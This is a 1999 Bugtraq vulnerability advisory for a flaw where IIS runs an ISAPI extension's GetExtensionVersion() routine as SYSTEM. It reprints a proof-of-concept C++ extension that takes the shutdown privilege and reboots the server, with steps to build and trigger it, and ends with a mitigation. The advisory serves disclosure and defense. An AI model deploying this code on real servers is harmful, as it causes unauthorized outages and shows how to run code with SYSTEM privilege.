NT IIS ISAPI GetExtensionVersion() Vulnerability

Bugtraq ID:	501
Class:	Race Condition Error
CVE:
Remote:	No
Local:	Yes
Published:	Mar 08 1999 12:00AM
Updated:	Mar 08 1999 12:00AM
Credit:	First posted to NTbugtraq on March 8, 1999 by Fabien Royer <[email protected]>.
Vulnerable:	Microsoft IIS 4.0 + Cisco Building Broadband Service Manager (BBSM) 5.0 + Cisco Building Broadband Service Manager (BBSM) 5.0 + Cisco Call Manager 3.0 + Cisco Call Manager 3.0 + Cisco Call Manager 2.0 + Cisco Call Manager 2.0 + Cisco Call Manager 1.0 + Cisco Call Manager 1.0 + Cisco ICS 7750 + Cisco ICS 7750 + Cisco IP/VC 3540 Video Rate Matching Module + Cisco IP/VC 3540 Video Rate Matching Module + Cisco Unity Server 2.4 + Cisco Unity Server 2.4 + Cisco Unity Server 2.3 + Cisco Unity Server 2.3 + Cisco Unity Server 2.2 + Cisco Unity Server 2.2 + Cisco Unity Server 2.0 + Cisco Unity Server 2.0 + Cisco uOne 4.0 + Cisco uOne 4.0 + Cisco uOne 3.0 + Cisco uOne 3.0 + Cisco uOne 2.0 + Cisco uOne 2.0 + Cisco uOne 1.0 + Cisco uOne 1.0 + Hancom Hancom Office 2007 0 + Hancom Hancom Office 2007 0 + Microsoft BackOffice 4.5 + Microsoft BackOffice 4.5 + Microsoft Windows NT 4.0 Option Pack + Microsoft Windows NT 4.0 Option Pack Microsoft IIS 3.0 - Microsoft Windows NT 4.0 SP6a - Microsoft Windows NT 4.0 SP6a - Microsoft Windows NT 4.0 SP6 - Microsoft Windows NT 4.0 SP6 - Microsoft Windows NT 4.0 SP5 - Microsoft Windows NT 4.0 SP5 - Microsoft Windows NT 4.0 SP4 - Microsoft Windows NT 4.0 SP4 - Microsoft Windows NT 4.0 SP3 - Microsoft Windows NT 4.0 SP3 - Microsoft Windows NT 4.0 SP2 - Microsoft Windows NT 4.0 SP2 - Microsoft Windows NT 4.0 SP1 - Microsoft Windows NT 4.0 SP1 - Microsoft Windows NT 4.0 - Microsoft Windows NT 4.0 Microsoft IIS 2.0 + Microsoft Windows NT 4.0 + Microsoft Windows NT 4.0
Not Vulnerable:

NT IIS ISAPI GetExtensionVersion() Vulnerability

IIS and potentially other NT web servers have a vulnerability that could allow arbitrary code to be run as SYSTEM. This works because of the way the server calls the GetExtensionVersion() function the first time an ISAPI extension is loaded. Any user able to put a CGI script in the web structure can insert code that will be run as SYSTEM during this window.

NT IIS ISAPI GetExtensionVersion() Vulnerability

Copied verbatim from a post to NTbugtraq by Fabien Royer <[email protected]>.

Using VC++, create an ISAPI extension project and call it CRbExtension. Replace GetExtensionVersion() and Default() with the code below. Compile it to something
simple, like rb.dll. Place it on your web server and invoke it from your browser like this http://your.machine.namerb.dll? Note: if you are using IE4.0, don't call this from
the machine that is running the web server otherwise, the next time you log in, IE will recall the last URL and you'll reboot again.

BOOL CRbExtension::GetExtensionVersion(HSE_VERSION_INFO* pVer)
{ HANDLE hToken; // handle to process token TOKEN_PRIVILEGES tkp; // pointer to token structure

// Get the current process token handle so we can get shutdown // privilege. OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES |
TOKEN_QUERY, &hToken);

// Get the LUID for shutdown privilege. LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid);

tkp.PrivilegeCount = 1; // one privilege to set tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

// Get shutdown privilege for this process. AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES) NULL, 0);

ExitWindowsEx(EWX_REBOOT,0);

// Disable shutdown privilege. tkp.Privileges[0].Attributes = 0; AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES) NULL, 0);

// Call default implementation for initialization CHttpServer::GetExtensionVersion(pVer);

// Load description string TCHAR sz[HSE_MAX_EXT_DLL_NAME_LEN+1]; ISAPIVERIFY(::LoadString(AfxGetResourceHandle(),IDS_SERVER, sz,
HSE_MAX_EXT_DLL_NAME_LEN)); _tcscpy(pVer->lpszExtensionDesc, sz); return TRUE;
}

void CRbExtension::Default(CHttpServerContext* pCtxt)
{ StartContent(pCtxt); WriteTitle(pCtxt);

*pCtxt << _T("Reboot<br>");

EndContent(pCtxt);
}

NT IIS ISAPI GetExtensionVersion() Vulnerability

Solution:
Do not allow users to use ISAPI extensions and their own CGI on the same server.

NT IIS ISAPI GetExtensionVersion() Vulnerability

References: